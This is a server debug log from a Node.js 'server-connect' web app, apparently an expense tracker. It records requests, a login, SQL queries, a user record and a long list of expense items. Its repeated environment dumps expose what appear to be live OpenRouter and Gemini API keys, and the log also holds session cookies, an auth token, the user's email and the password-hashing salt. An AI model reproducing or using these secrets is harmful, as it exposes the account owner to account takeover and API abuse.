    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-27 03:01:00' as DATETIME)"
}
2026-01-27T08:41:47.885Z server-connect:router Serving templateView /
2026-01-27T08:41:47.886Z server-connect:app Executing action step identify
2026-01-27T08:41:47.886Z server-connect:app options: { provider: 'security' }
2026-01-27T08:41:47.887Z server-connect:auth No login cookie found
2026-01-27T08:41:47.887Z server-connect:output identity: false
2026-01-27T08:41:47.887Z server-connect:app Executing action step restrict
2026-01-27T08:41:47.887Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-27T08:41:47.887Z server-connect:output restrict: undefined
2026-01-27T08:41:47.987Z server-connect:router Serving templateView /login
2026-01-27T08:41:47.987Z server-connect:app Executing action step identify
2026-01-27T08:41:47.987Z server-connect:app options: { provider: 'security' }
2026-01-27T08:41:47.988Z server-connect:auth No login cookie found
2026-01-27T08:41:47.988Z server-connect:output identity: false
2026-01-27T08:41:47.988Z server-connect:router Render template layouts/authentication
2026-01-27T08:41:47.988Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5414.119 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '3.209.212.23',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-28T08:41:47.987Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '3.209.212.23',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5414.119 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '3.209.212.23',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-01-27T17:29:10.697Z server-connect:router Serving templateView /
2026-01-27T17:29:10.698Z server-connect:app Executing action step identify
2026-01-27T17:29:10.698Z server-connect:app options: { provider: 'security' }
2026-01-27T17:29:10.699Z server-connect:auth No login cookie found
2026-01-27T17:29:10.699Z server-connect:output identity: false
2026-01-27T17:29:10.699Z server-connect:app Executing action step restrict
2026-01-27T17:29:10.699Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-27T17:29:10.699Z server-connect:output restrict: undefined
2026-01-27T17:29:11.045Z server-connect:router Serving templateView /login
2026-01-27T17:29:11.046Z server-connect:app Executing action step identify
2026-01-27T17:29:11.046Z server-connect:app options: { provider: 'security' }
2026-01-27T17:29:11.046Z server-connect:auth No login cookie found
2026-01-27T17:29:11.046Z server-connect:output identity: false
2026-01-27T17:29:11.046Z server-connect:router Render template layouts/authentication
2026-01-27T17:29:11.046Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'sec-fetch-site': 'none',
    'upgrade-insecure-requests': '1',
    'sec-fetch-mode': 'navigate',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.2 Safari/605.1.15',
    'accept-language': 'en-IN,en;q=0.9',
    'sec-fetch-dest': 'document',
    priority: 'u=0, i',
    'accept-encoding': 'gzip,br',
    'x-forwarded-for': '49.43.180.254',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-28T17:29:11.045Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.254',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.2 Safari/605.1.15',
    HTTP_ACCEPT_LANGUAGE: 'en-IN,en;q=0.9',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    'HTTP_X_FORWARDED-FOR': '49.43.180.254',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-01-27T17:30:40.192Z server-connect:router Serving serverConnect /api/access-control/login
2026-01-27T17:30:40.193Z server-connect:app Executing action step identify
2026-01-27T17:30:40.193Z server-connect:app options: { provider: 'security' }
2026-01-27T17:30:40.193Z server-connect:auth No login cookie found
2026-01-27T17:30:40.193Z server-connect:output identity: false
2026-01-27T17:30:40.193Z server-connect:app Executing action step login
2026-01-27T17:30:40.193Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2026-01-27T17:30:40.199Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-01-27T17:30:40.253Z server-connect:output identity: 1
2026-01-27T17:30:40.253Z server-connect:app Executing action step restrict
2026-01-27T17:30:40.253Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-01-27T17:30:40.254Z server-connect:output restrict: undefined
2026-01-27T17:30:40.517Z server-connect:router Serving templateView /
2026-01-27T17:30:40.518Z server-connect:app Executing action step identify
2026-01-27T17:30:40.518Z server-connect:app options: { provider: 'security' }
2026-01-27T17:30:40.518Z server-connect:output identity: 1
2026-01-27T17:30:40.518Z server-connect:app Executing action step restrict
2026-01-27T17:30:40.518Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-27T17:30:40.518Z server-connect:output restrict: undefined
2026-01-27T17:30:40.518Z server-connect:app Executing action step restrict
2026-01-27T17:30:40.518Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-27T17:30:40.519Z server-connect:output restrict: undefined
2026-01-27T17:30:40.519Z server-connect:router Render template layouts/main
2026-01-27T17:30:40.519Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-fetch-dest': 'document',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.2 Safari/605.1.15',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'accept-language': 'en-IN,en;q=0.9',
    priority: 'u=0, i',
    'accept-encoding': 'gzip,br',
    cookie: 'security.auth=s%3AAmNeKNKKMlgDl13AkccwPw%3D%3D.X%2Bgo2lU2KS3Sc8LQPtCcuGSicnbyv%2BvbBq7gjiozJr%2FzsWHKzXnbYtuR3CUTcSf8fBDtXXUKvB2cHhi7gfb7lJOA3RbPxU4ZiwvZzxGf%2BrVL7OChi%2BrR3C%2BY6gRidGoLYDF%2BEL12o1l1KSlUMVuGO%2BsFI7LWs%2BDwoirgtLgv2Fw%3D.P4qOZ4KBXwp0c5K9HSFFbNpS2AUlCfS318nptYt9zoI; your_r_git.sid=s%3AbKeLhBlYyPP69eZnKsCUtTFsDxJgxF9g.IUu67VVMPwTP2ezIZDWmL8RpUVyPAWBmp9Yyw63d1tc',
    'x-forwarded-for': '49.43.180.254',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-28T17:30:40.255Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.254',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.2 Safari/605.1.15',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    HTTP_ACCEPT_LANGUAGE: 'en-IN,en;q=0.9',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_COOKIE: 'security.auth=s%3AAmNeKNKKMlgDl13AkccwPw%3D%3D.X%2Bgo2lU2KS3Sc8LQPtCcuGSicnbyv%2BvbBq7gjiozJr%2FzsWHKzXnbYtuR3CUTcSf8fBDtXXUKvB2cHhi7gfb7lJOA3RbPxU4ZiwvZzxGf%2BrVL7OChi%2BrR3C%2BY6gRidGoLYDF%2BEL12o1l1KSlUMVuGO%2BsFI7LWs%2BDwoirgtLgv2Fw%3D.P4qOZ4KBXwp0c5K9HSFFbNpS2AUlCfS318nptYt9zoI; your_r_git.sid=s%3AbKeLhBlYyPP69eZnKsCUtTFsDxJgxF9g.IUu67VVMPwTP2ezIZDWmL8RpUVyPAWBmp9Yyw63d1tc',
    'HTTP_X_FORWARDED-FOR': '49.43.180.254',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-01-27T17:30:42.606Z server-connect:router Serving serverConnect /api/masters/get-items
2026-01-27T17:30:42.607Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-01-27T17:30:42.607Z server-connect:app Executing action step identify
2026-01-27T17:30:42.607Z server-connect:app options: { provider: 'security' }
2026-01-27T17:30:42.607Z server-connect:output identity: 1
2026-01-27T17:30:42.607Z server-connect:app Executing action step restrict
2026-01-27T17:30:42.607Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-01-27T17:30:42.608Z server-connect:app Executing action step identify
2026-01-27T17:30:42.608Z server-connect:app options: { provider: 'security' }
2026-01-27T17:30:42.608Z server-connect:output identity: 1
2026-01-27T17:30:42.608Z server-connect:app Executing action step restrict
2026-01-27T17:30:42.608Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-01-27T17:30:42.608Z server-connect:output restrict: undefined
2026-01-27T17:30:42.611Z server-connect:app Executing action step select
2026-01-27T17:30:42.611Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-01-27T17:30:42.613Z server-connect:output restrict: undefined
2026-01-27T17:30:42.613Z server-connect:app Executing action step single
2026-01-27T17:30:42.613Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-01-27T17:30:42.615Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-01-27T17:30:42.622Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-01-27T17:30:47.172Z server-connect:router Serving templateView /diecast
2026-01-27T17:30:47.172Z server-connect:app Executing action step identify
2026-01-27T17:30:47.172Z server-connect:app options: { provider: 'security' }
2026-01-27T17:30:47.172Z server-connect:output identity: 1
2026-01-27T17:30:47.172Z server-connect:app Executing action step restrict
2026-01-27T17:30:47.172Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-27T17:30:47.173Z server-connect:output restrict: undefined
2026-01-27T17:30:47.173Z server-connect:router Render template diecast
2026-01-27T17:30:47.174Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-fetch-dest': 'empty',
